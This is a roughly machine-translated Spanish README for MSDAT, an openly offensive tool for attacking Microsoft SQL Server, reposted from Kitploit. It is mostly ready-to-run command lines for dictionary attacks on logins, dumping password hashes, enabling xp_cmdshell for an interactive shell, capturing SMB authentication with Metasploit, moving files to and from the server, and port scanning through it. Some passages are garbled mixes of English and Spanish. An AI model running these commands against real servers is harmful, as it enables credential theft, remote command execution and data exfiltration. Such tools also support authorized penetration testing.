- Tiene una base de datos de Microsoft que escucha de forma remota y desea buscar credenciales válidas para conectarse a la base de datos.
- Tiene una cuenta de Microsoft SQL válida en una base de datos y desea escalar sus privilegios
- Tiene una cuenta Microsoft SQL válida y desea ejecutar comandos en el sistema operativo que aloja este DB (xp_cmdshell)
Registro de cambios
- Versión 1.0 (2017/02/15):
- primera versión lanzada
Características
Gracias a MSDAT ( M icro s oft SQL D atabase A Ttacking T ool), puede:
- obtener información técnica (por ejemplo, la versión de la base de datos) de una base de datos MSSQL sin ser autenticada
- buscar cuentas MSSQL con un ataque dictionnario
- probar cada inicio de sesión como contraseña (se requiere autenticación)
- obtener un shell de Windows en el servidor de la base de datos con
- xp_cmdshell
- descarga archivos de forma remota con:
- Automatización OLE
- bulkinsert
- openrowset
- cargar archivos en el servidor con:
- Automatización OLE
- openrowset
- capturar una autenticación SMB gracias a:
- bulkinsert
- openrowset
- xp_dirtree
- xp_fileexist
- xp-getfiledetails
- robar contraseñas hash MSSQL , en cualquier versión MSSQL
- escanear puertos a través de la base de datos:
- openrowset
- ejecutar solicitudes SQL en un servidor MSSQL remoto a través de la base de datos (destino) con:
- bulkinsert
- openrowset
- liste archivos / directorios con:
- xp_subdirs
- xp_dirtree
- lista drives / medias con:
- xp_fixeddrives
- xp_availablemedia
- crear carpeta con:
- xp_create_subdir
Instalación
Se deben instalar algunas dependencias para ejecutar MSDAT.
En ubuntu:
sudo apt-get install freetds-dev
o descargue freetds en http://www.freetds.org/
sudo pip install cython colorlog termcolor pymssql argparse
sudo pip install argcomplete && sudo activate-global-python-argcomplete
Agregue «use ntlmv2 = yes» en su archivo de configuración de freetds (por ejemplo: /etc/freetds/freetds.conf o /usr/local/etc/freetds.conf). Ejemplo:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
Ejemplos de
módulos
- Puede enumerar todos los módulos:
./msdat.py -h
- Cuando haya elegido un módulo (ejemplo: todo ), puede usarlo y puede enumerar todas las características y opciones del módulo:
./msdat.py all -h
Puede saber si un módulo específico se puede utilizar en un servidor MSSQL gracias a la opción –test-module . Esta opción se implementa en cada módulo mdat.
todo el módulo
El módulo all le permite ejecutar todos los módulos (depende de las opciones que haya adquirido).
python msdat.py all -s $SERVER
Si tu quieres:
- usar su propio archivo de cuenta para el ataque dictionnario
- intente con múltiples contraseñas para un usuario sin preguntarle
- para definir su propio valor de tiempo de espera
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
En cada módulo, puede definir el juego de caracteres para usar con la opción –charset . Módulo
mssqlinfo
Para obtener información técnica sobre un servidor MSSQL remoto sin autenticar:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
Este módulo usa el protocolo TDS y el servidor de navegador SQL para obtener información. módulo
passwordguesser
Este módulo le permite buscar credenciales válidas:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
–force-retry option permite probar múltiples contraseñas para cada usuario sin preguntarle
Puede especificar su propio archivo de cuenta con la opción –account-file :
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
passwordstealer module
Para volcar contraseñas hash:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
Este módulo ha sido probado en SQL Server 2000, 2005, 2008 y 2014. Módulo
xpcmdshell
Para ejecutar comandos del sistema gracias a xp_cmdshell ( https://msdn.microsoft.com/en-us/library/ms190693.aspx ):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
Este comando previo le da un shell interactivo en el servidor de base de datos remota.
Si xp_cmdshell no está habilitado, el –enable-xpcmdshell se puede usar en este módulo para activarlo:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
La opción –enable-xpcmdshell habilita xp_cmdshell si no está habilitada (no está habilitada de manera predeterminada).
La opción –disable-xpcmdshell deshabilita xp_cmdshell si esta está habilitada. Módulo
smbauthcapture
Gracias a este módulo, puede capturar una autenticación SMB:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
Para capturar la autenticación SMB, se puede usar el módulo auxiliar / server / capture / smb ( http://www.rapid7.com/db/modules/auxiliary/server/capture/smb ) de metasploit :
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
El comando de captura de este módulo intenta capturar una autenticación SMB gracias al procedimiento xp_dirtree , xp_fileexist o xp-getfiledetails .
Si desea elegir el procedimiento de autenticación SMB para capturar la autenticación:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
Puede cambiar el nombre SHARE con la opción –share-name . Módulo de
oleautomation
Este módulo se puede utilizar para leer / escribir archivos en el servidor de la base de datos.
El siguiente comando lee el archivo temp.txt almacenado en el servidor de la base de datos:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
Para escribir una cadena en un archivo ( temp.txt ) de forma remota:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
Este módulo se puede utilizar para descargar un archivo ( C: \ Users \ Administrator \ Desktop \ temp.txt ) almacenado en el servidor de la base de datos:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Además, puede usar este módulo para cargar un archivo ( temp.txt ) en el destino:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
módulo bulkopen
El módulobulkopense puede utilizar:
- para leer / descargar archivos almacenados en un servidor de base de datos
- escanear puertos a través del servidor de la base de datos
- para ejecutar solicitudes SQL en un servidor MSSQL remoto a través de la base de datos
Para leer un archivo almacenado en el destino, se puede usar el siguiente comando:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
La opción –method se puede usar para especificar el método a usar:
- bulkinsert ( https://msdn.microsoft.com/en-us/library/ms188365.aspx ) o
- openrowset ( https://msdn.microsoft.com/en-us/library/ms190312.aspx )):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
Para descargar un archivo ( C: \ Users \ Administrator \ Desktop \ temp.txt ): « `bash ./msdat.py bulkopen -s $ SERVER -p $ PORT -U $ USER -P $ PASSWORD -d $ BASE DE DATOS – -get-file ‘C: \ Users \ Administrator \ Desktop \ temp.txt’ temp.txt
This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
Puede escanear un rango de puertos:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
Este módulo se puede usar para ejecutar solicitudes de SQL (por ejemplo, seleccionar @@ ServerName ) en un servidor de base de datos remoto (por ejemplo, $ SERVER2) a través de la base de datos ($ SERVER):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
Módulo xpdirectory
El móduloxpdirectoryse puede usar:
- Listar:
- archivos
- directorios
- unidades
- para verificar si existe un archivo
- para crear un directorio
Para listar archivos en un directorio específico:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
Para enumerar directorios en un directorio específico:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
Para enumerar unidades:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
Para verificar si existe un archivo:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
Para crear un directorio:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
módulo de búsqueda
Labúsqueda demódulose puede utilizar para buscar un patrón en los nombres de columna de tablas y vistas. Útil para buscar el patrón% password%en nombres de columna, por ejemplo.
Para obtener nombres de columna que contengan patrones de contraseña (por ejemplo: contraseña, contraseña, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Si desea ver los nombres de las columnas que no contienen datos, debe usar la opción –show-empty-columns .
Para buscar un patrón específico en los nombres de columnas de vistas y tablas:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Fuente: Kitploit.com